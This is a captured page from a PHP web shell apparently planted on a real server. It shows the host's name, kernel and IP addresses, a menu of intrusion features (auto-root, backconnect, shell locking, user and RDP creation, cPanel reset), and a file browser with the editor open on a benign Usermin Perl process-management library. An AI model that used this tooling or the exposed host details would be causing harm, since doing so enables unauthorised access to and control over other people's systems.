Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
proc /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
config-ALL-linux
84
B
-rw-r--r--
config-aix
83
B
-rw-r--r--
config-freebsd
86
B
-rw-r--r--
config-hpux
83
B
-rw-r--r--
config-irix
83
B
-rw-r--r--
config-macos
84
B
-rw-r--r--
config-netbsd
86
B
-rw-r--r--
config-openbsd
86
B
-rw-r--r--
config-openserver
83
B
-rw-r--r--
config-osf1
82
B
-rw-r--r--
config-qnx
71
B
-rw-r--r--
config-solaris
83
B
-rw-r--r--
config-unixware
83
B
-rw-r--r--
config.info
512
B
-rw-r--r--
config.info.ca
635
B
-rw-r--r--
config.info.de
538
B
-rw-r--r--
config.info.es
341
B
-rw-r--r--
config.info.fr
382
B
-rw-r--r--
config.info.hu
521
B
-rw-r--r--
config.info.nl
524
B
-rw-r--r--
config.info.no
512
B
-rw-r--r--
config.info.pl
517
B
-rw-r--r--
config.info.ru
891
B
-rw-r--r--
config.info.sv
320
B
-rw-r--r--
config.info.tr
570
B
-rw-r--r--
config.info.zh
253
B
-rw-r--r--
config.info.zh_TW
303
B
-rw-r--r--
edit_proc.cgi
4.17
KB
-rwxr-xr-x
freebsd-lib.pl
4.5
KB
-rwxr-xr-x
hpux-lib.pl
2.62
KB
-rwxr-xr-x
index.cgi
466
B
-rwxr-xr-x
index_cpu.cgi
1.3
KB
-rwxr-xr-x
index_run.cgi
1.07
KB
-rwxr-xr-x
index_search.cgi
6.48
KB
-rwxr-xr-x
index_size.cgi
1.26
KB
-rwxr-xr-x
index_tree.cgi
1.5
KB
-rwxr-xr-x
index_user.cgi
1.11
KB
-rwxr-xr-x
kill_proc.cgi
738
B
-rwxr-xr-x
kill_proc_list.cgi
860
B
-rwxr-xr-x
linux-lib.pl
18.26
KB
-rwxr-xr-x
log_parser.pl
1.05
KB
-rwxr-xr-x
macos-lib.pl
4.45
KB
-rwxr-xr-x
module.info
286
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
144
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
212
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
254
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
265
B
-rw-r--r--
module.info.ca
31
B
-rw-r--r--
module.info.ca.auto
147
B
-rw-r--r--
module.info.cs
27
B
-rw-r--r--
module.info.cs.auto
139
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
138
B
-rw-r--r--
module.info.de
96
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
292
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
161
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
144
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
278
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
186
B
-rw-r--r--
module.info.fr
34
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
189
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
156
B
-rw-r--r--
module.info.hu
25
B
-rw-r--r--
module.info.hu.auto
131
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
166
B
-rw-r--r--
module.info.ja
37
B
-rw-r--r--
module.info.ja.auto
196
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
197
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
160
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
152
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
155
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
160
B
-rw-r--r--
module.info.nl
27
B
-rw-r--r--
module.info.no
28
B
-rw-r--r--
module.info.no.auto
110
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
155
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
159
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
168
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
167
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
266
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
154
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
150
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
134
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
310
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
169
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
242
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
240
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
205
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
139
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
148
B
-rw-r--r--
old-proc-lib.pl
5.99
KB
-rwxr-xr-x
open_files.cgi
2.57
KB
-rwxr-xr-x
openbsd-lib.pl
1.81
KB
-rwxr-xr-x
osf-lib.pl
2.44
KB
-rwxr-xr-x
proc-lib.pl
15.45
KB
-rwxr-xr-x
renice_proc.cgi
617
B
-rwxr-xr-x
run.cgi
1.38
KB
-rwxr-xr-x
sysv-lib.pl
6.12
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sysv-lib.pl
# sysv-lib.pl # Functions for parsing sysv-style ps output $has_stime = $gconfig{'os_type'} eq 'solaris'; $has_task = $gconfig{'os_type'} eq 'solaris' && $gconfig{'os_version'} >= 10; $has_zone = $gconfig{'os_type'} eq 'solaris' && $gconfig{'os_version'} >= 10; # list_processes([pid]*) sub list_processes { local($line, $dummy, @w, $i, $_, $pcmd, @plist); foreach (@_) { $pcmd .= " -p $_"; } if (!$pcmd) { $pcmd = " -e"; } $ENV{'COLUMNS'} = 10000; # needed on AIX local @cols = ( "user","ruser","group","rgroup","pid","ppid","pgid","pcpu","vsz", "nice","etime","time", ($has_stime ? ("stime") : ( )), ($has_task ? ("taskid") : ( )), ($has_zone ? ("zone") : ( )), "tty","args" ); open(PS, "ps -o ".join(",", @cols)." $pcmd |"); $dummy = <PS>; for($i=0; $line=<PS>; $i++) { chop($line); $line =~ s/^\s+//g; @w = split(/\s+/, $line); if ($line =~ /ps -o user,ruser/) { # Skip ps command $i--; next; } $plist[$i]->{"pid"} = $w[4]; $plist[$i]->{"ppid"} = $w[5]; $plist[$i]->{"user"} = $w[0]; $plist[$i]->{"cpu"} = "$w[7] %"; $plist[$i]->{"size"} = "$w[8] kB"; $plist[$i]->{"bytes"} = $w[8]*1024; local $ofs = 0; if ($has_stime) { $plist[$i]->{"_stime"} = $w[12+$ofs]; $plist[$i]->{"_stime"} =~ s/_/ /g; $ofs++; } if ($has_task) { $plist[$i]->{"_task"} = $w[12+$ofs]; $ofs++; } if ($has_zone) { $plist[$i]->{"_zone"} = $w[12+$ofs]; $ofs++; } $plist[$i]->{"time"} = $w[11]; $plist[$i]->{"nice"} = $w[9] =~ /\d+/ ? $w[9]-20 : $w[9]; $plist[$i]->{"args"} = @w<14+$ofs ? "defunct" : join(' ', @w[13+$ofs..$#w]); $plist[$i]->{"_group"} = $w[2]; $plist[$i]->{"_ruser"} = $w[1]; $plist[$i]->{"_rgroup"} = $w[3]; $plist[$i]->{"_pgid"} = $w[6]; $plist[$i]->{"_tty"} = $w[12+$ofs] =~ /\?/ ? $text{'edit_none'} : "/dev/$w[12+$ofs]"; } close(PS); return @plist; } # find_mount_processes(mountpoint) # Find all processes under some mount point sub find_mount_processes { local($out); $out = `fuser -c $_[0] 2>/dev/null`; $out =~ s/^\s+//g; $out =~ s/\s+$//g; return split(/\s+/, $out); } # find_file_processes([file]+) # Find all processes with some file open sub find_file_processes { local($out, $files); $files = join(' ', map { quotemeta($_) } map { glob($_) } @_); $out = &backquote_command("fuser $files 2>/dev/null"); $out =~ s/^\s+//g; $out =~ s/\s+$//g; return split(/\s+/, $out); } # renice_proc(pid, nice) sub renice_proc { return undef if (&is_readonly_mode()); local $out = &backquote_logged("renice $_[1] -p $_[0] 2>&1"); if ($?) { return $out; } return undef; } # get_new_pty() # Returns the filehandles and names for a pty and tty sub get_new_pty { if (!-e "/dev/ptyp0") { # Must use IO::Pty :( &error("IO::Pty Perl module is not installed"); } else { # Need to search through pty files opendir(DEV, "/dev"); local @ptys = map { "/dev/$_" } (grep { /^pty/ } readdir(DEV)); closedir(DEV); local ($pty, $tty); foreach $pty (@ptys) { open(PTY, "+>$pty") || next; local $tty = $pty; $tty =~ s/pty/tty/; open(TTY, "+>$tty") || next; local $old = select(PTY); $| = 1; select(TTY); $| = 1; select($old); return (*PTY, *TTY, $pty, $tty); } return (); } } $has_trace_command = $gconfig{'os_type'} eq 'solaris' && &has_command("truss"); # open_process_trace(pid, [&syscalls]) # Starts tracing on some process, and returns a trace object sub open_process_trace { local $fh = time().$$; local $sc; if (@{$_[1]}) { $sc = "-t ".join(",", @{$_[1]}); } local $tpid = open($fh, "truss $sc -i -p $_[0] 2>&1 |"); $line = <$fh>; return { 'pid' => $_[0], 'tpid' => $tpid, 'fh' => $fh }; } # close_process_trace(&trace) # Halts tracing on some trace object sub close_process_trace { kill('TERM', $_[0]->{'tpid'}) if ($_[0]->{'tpid'}); close($_[0]->{'fh'}); } # read_process_trace(&trace) # Returns an action structure representing one action by traced process, or # undef if an error occurred sub read_process_trace { local $fh = $_[0]->{'fh'}; local @tm = localtime(time()); while(1) { local $line = <$fh>; return undef if (!$line); if ($line =~ /^([^\(]+)\((.*)\)(\s*=\s*(\-?\d+)|\s+(Err\S+))?/) { local $action = { 'time' => time(), 'call' => $1, 'rv' => $4 ne "" ? $4 : $5 }; local $args = $2; local @args; while(1) { if ($args =~ /^[ ,]*(\{[^}]*\})(.*)$/) { # A structure in { } push(@args, $1); $args = $2; } elsif ($args =~ /^[ ,]*"([^"]*)"\.*(.*)$/) { # A quoted string push(@args, $1); $args = $2; } elsif ($args =~ /^[ ,]*\[([^\]]*)\](.*)$/) { # A square-bracket number push(@args, $1); $args = $2; } elsif ($args =~ /^[ ,]*\<([^\>]*)\>(.*)$/) { # An angle-bracketed string push(@args, $1); $args = $2; } elsif ($args =~ /[ ,]*([^, ]+)(.*)$/) { # Just a number push(@args, $1); $args = $2; } else { last; } } $action->{'args'} = \@args; return $action; } } } # os_get_cpu_info() # Returns a list containing the 5, 10 and 15 minute load averages sub os_get_cpu_info { local $out = `uptime 2>&1`; if ($out =~ /load average:\s+(\S+),\s+(\S+),\s+(\S+)/) { return ($1, $2, $3); } else { return ( ); } } # get_memory_info() # Returns a list containing the real mem, free real mem, swap and free swap # (In kilobytes). sub get_memory_info { if (!&has_command("kstat")) { return ( ); } local %stat; foreach my $s ("physmem", "freemem", "zone_memory_cap") { local $out = &backquote_command("kstat -p -m unix -s $s"); if ($out =~ /\s+(\d+)/) { $stat{$s} = $1; } } if ($stat{'zone_memory_cap'} > $stat{'physmem'}) { delete($stat{'zone_memory_cap'}); } local ($swaptotal, $swapfree); &open_execute_command(SWAP, "swap -l", 1); while(<SWAP>) { if (/^\S+\s+\d+,\d+\s+\d+\s+(\d+)\s+(\d+)/) { $swaptotal += $1; $swapfree += $2; } } close(SWAP); local $pagesize = &backquote_command("pagesize 2>/dev/null"); $pagesize = int($pagesize)/1024; $pagesize ||= 8; # Fallback return (($stat{'zone_memory_cap'} || $stat{'physmem'})*$pagesize, $stat{'freemem'}*$pagesize, $swaptotal/2, $swapfree/2); } foreach $ia (keys %text) { if ($ia =~ /^sysv(_\S+)/) { $info_arg_map{$1} = $text{$ia}; } } delete($info_arg_map{'_stime'}) if (!$has_stime); @nice_range = (-20 .. 19); $has_fuser_command = 1; 1;
Close